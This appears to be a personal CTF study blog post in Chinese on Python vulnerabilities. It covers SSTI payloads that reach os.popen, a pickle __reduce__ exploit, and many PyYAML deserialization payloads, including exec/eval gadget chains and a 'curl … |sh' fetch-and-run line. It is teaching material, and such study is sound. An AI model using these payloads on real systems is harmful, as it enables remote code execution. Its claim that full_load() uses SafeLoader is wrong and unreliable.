CTF-python漏洞学习

python漏洞

python漏洞学习

SSTI

  • 验证POC
1
2
3
{{2*2}}
{{config}}
<script>alert('xss')</script>
  • 调试页面
1
http://127.0.0.1:5000/console

输出所有类,再查找os类

1
"".__class__.__base__.__subclasses__()

image-20250127130559751

可以用脚本,也可以复制到vscode中,ctrl+f搜索, 看一共多少项

image-20250127130742744

1
2
3
4
5
ori_str = """[]"""
ori_list = ori_str.split(",")
for index, item in enumerate(ori_list):
if "os._wrap_close" in item:
print(index)
1
"".__class__.__base__.__subclasses__()[148]

image-20250127130845003

1
"".__class__.__base__.__subclasses__()[148].__init__.__globals__

image-20250127130921365

  • 调用os的popen类
1
2
"".__class__.__base__.__subclasses__()[147].__init__.__globals__['popen']('calc')
"".__class__.__base__.__subclasses__()[148].__init__.__globals__['popen']('calc')

image-20250127131105825

pickle反序列化

序列化

类对象->字节流

反序列化

字节流->对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pickle
import os

class XU17():
def __init__(self):
self.username = 0
self.password = 0

def login(self, username, password):
print(username)
return username == 'admin' and password == '123456'

def __reduce__(self):
print("reduce")
return os.system,("calc",)

c = XU17()

# #生成字节流
# serialize = pickle.dumps(c)
# pickle.loads(serialize)

#写入文件
with open("XU17.ser","wb") as f:
pickle.dump(c,f)

with open("XU17.ser","rb") as f:
pickle.load(f)


# print(serialize)

Marshal反序列化

pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理

PyYAML反序列化

  • 常用payload
1
2
3
4
5
6
7
8
9
10
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

data=!!python/object/apply:os.system ["curl http:// |sh"]

PyYAML< 5.1

Successfully installed PyYAML-4.2b4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import yaml

poc = '!!python/object/new:os.system ["calc.exe"]'

# #给出一些相同用法的POC
# poc = '!!python/object/new:subprocess.check_output [["calc.exe"]]'

# poc = '!!python/object/new:os.popen ["calc.exe"]'

# poc = '!!python/object/new:subprocess.run ["calc.exe"]'

# poc = '!!python/object/new:subprocess.call ["calc.exe"]'

# poc = '!!python/object/new:subprocess.Popen ["calc.exe"]'

yaml.load(poc)#弹计算器

image-20250128193957936

PyYAML>=5.1

load()

在 PyYaml>5.1 的版本之后,如果要使用 load() 函数,要跟上一个 Loader 的参数,直接使用 load 请求时会显示以下 warning

1
load(data,Loader=yaml.Loader) 

实例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import yaml

# 从字符串中加载 YAML 数据
yaml_data = """
- name: Alice
age: 25
- name: Bob
age: 30
"""
data = yaml.load(f,Loader=yaml.FullLoader)
print(data)

# 从文件中加载 YAML 数据
with open('data.yaml') as f:
data = yaml.load(f,Loader=yaml.FullLoader)
print(data)

输出结果:

1
[{'name': 'Alice', 'age': 25}, {'name': 'Bob', 'age': 30}]

这里其实和 PyYaml<=5.1 版本一样

load_all()

1
load_all(data, Loader=yaml.Loader)

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import yaml

yaml_data = """
# 第一个文档
- name: Alice
age: 25

# 第二个文档
- name: Bob
age: 30
"""

data = yaml.load_all(yaml_data)

for doc in data:
for person in doc:
print(person['name'], person['age'])

输出结果:

1
2
Alice 25
Bob 30

这里和 PyYaml<=5.1 版本一样

full_load(data)

load()full_load() 函数的区别是:full_load() 使用 SafeLoader 作为默认解析器
所以说,这是一个相对安全的解析器,它限制了可以执行的 Python 代码的类型。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
import yaml

yaml_data = """
- foo
- bar
- baz
"""

data = yaml.full_load(yaml_data)

print(data)

输出结果:

1
['foo', 'bar', 'baz']

full_load_all(data)

full_load_all()full_load() 函数类似,但可以处理包含多个 YAML 文档的数据流。
示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import yaml

yaml_data = """
- foo
- bar
- baz
---
- alice
- bob
- charlie
"""

data = yaml.full_load_all(yaml_data)

for doc in data:
print(doc)

输出结果:

1
2
['foo', 'bar', 'baz']
['alice', 'bob', 'charlie']

unsafe_load(data)

unsafe_load() 函数可以加载包含自定义 Python 对象的 YAML 数据,允许加载和执行任意 Python 代码,并尝试将它们反序列化为实际的 Python 对象。

其存在安全隐患

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import yaml

yaml_data = """
!!python/object:__main__.Person
name: Alice
age: 25
"""

class Person:
def __init__(self, name, age):
self.name = name
self.age = age

data = yaml.unsafe_load(yaml_data)

print(data)

输出结果:

1
<__main__.Person object at 0x0000022DA0D36CD0>

unsafe_load_all(data)

相比 unsafe_load()unsafe_load_all() 用于将多个 YAML 文档加载为 Python 对象的生成器。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import yaml

yaml_data = """
- foo
- bar
- baz
---
- !!python/object:__main__.Person
name: Alice
age: 25
"""

class Person:
def __init__(self, name, age):
self.name = name
self.age = age

data = yaml.unsafe_load_all(yaml_data)

for doc in data:
print(doc)

输出结果:

1
2
['foo', 'bar', 'baz']
[<__main__.Person object at 0x00000174FFEBD210>]

加载器

  • BaseLoader:不支持强制类型转换
  • SafeLoader:安全地加载 YAML 格式的数据,限制被加载的 YAML 数据中可用的 Python 对象类型,从而防止执行危险的操作或代码。
  • FullLoader:加载包含任意 Python 对象的 YAML 数据,FullLoader 加载器不会限制被加载的 YAML 数据中可用的 Python 对象类型,因此可以加载包含任意 Python 对象的 YAML 数据。
  • UnsafeLoader:加载包含任意 Python 对象的 YAML 数据,并且不会对被加载的 YAML 数据中可用的 Python 对象类型进行任何限制。

PyYAML=5.1

  • 现在测试的话,5.1版本已经不支持直接load了,会报错告诉你没有使用加载器,不安全,用下面的代码可以在5.1测试
1
2
3
4
5
6
7
import yaml

poc1 = "!!python/object/apply:nt.system [calc.exe]"
poc2 = '!!python/object/new:os.system ["calc.exe"]'

yaml.load(poc1, Loader=yaml.Loader)
yaml.load(poc2, Loader=yaml.Loader)
1
2
3
4
5
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- whoami"""
deserialized_data = unsafe_load(data, Loader=Loader) # deserializing data
print(deserialized_data)

还是原先的四个加载器,但是强制要求在使用load等方法的时候手动选择加载器,否则会警告.同时也提供了unsafe_load()方法,可以不选择加载器,相当与之前版本的load.
下面是几个可用的payload:

python

1
2
3
4
5
6
7
8
9
10
11
12
import yaml
from yaml import *
poc= b"""!!python/object/apply:os.system
- calc"""
#subprocess.check_output
#os.popen
#subprocess.run
#subprocess.call
#subprocess.Popen

yaml.load(poc,Loader=Loader)
yaml.unsafe_load(poc)

image-20250128194928785

下面是利用builtins的:

python 这个我在3.11.7 5.2不成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#报错,但是能够成功的执行
import yaml
from yaml import *
poc= b"""
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)

python

1
2
3
4
5
6
7
8
9
10
11
import yaml
poc= b"""
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:eval }]
listitems: "__import__('os').system('whoami')"
"""
# !!python/object/new:type
# args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
# listitems: "__import__('os').system('whoami')"
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)

image-20250128195331501

python

1
2
3
4
5
6
7
8
9
10
11
import yaml
poc= b"""
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
"""
yaml.unsafe_load(poc)
yaml.load(poc,Loader=yaml.Loader)

image-20250128195402364

利用 ruamel.yaml 读写 yaml 文件

(我没成功)

ruamel.yaml 的用法和 PyYAML 基本一样,并且默认支持更新的 YAML1.2 版本

利用 ruamel.yaml 读写 yaml 文件也存在上述漏洞

1
2
3
4
5
6
import ruamel.yaml

poc= b"""!!python/object/apply:os.system
- calc"""

ruamel.yaml.load(poc)

CTF-python漏洞学习
https://xu17.top/2025/01/28/python/
作者
XU17
发布于
2025年1月28日
许可协议
XU17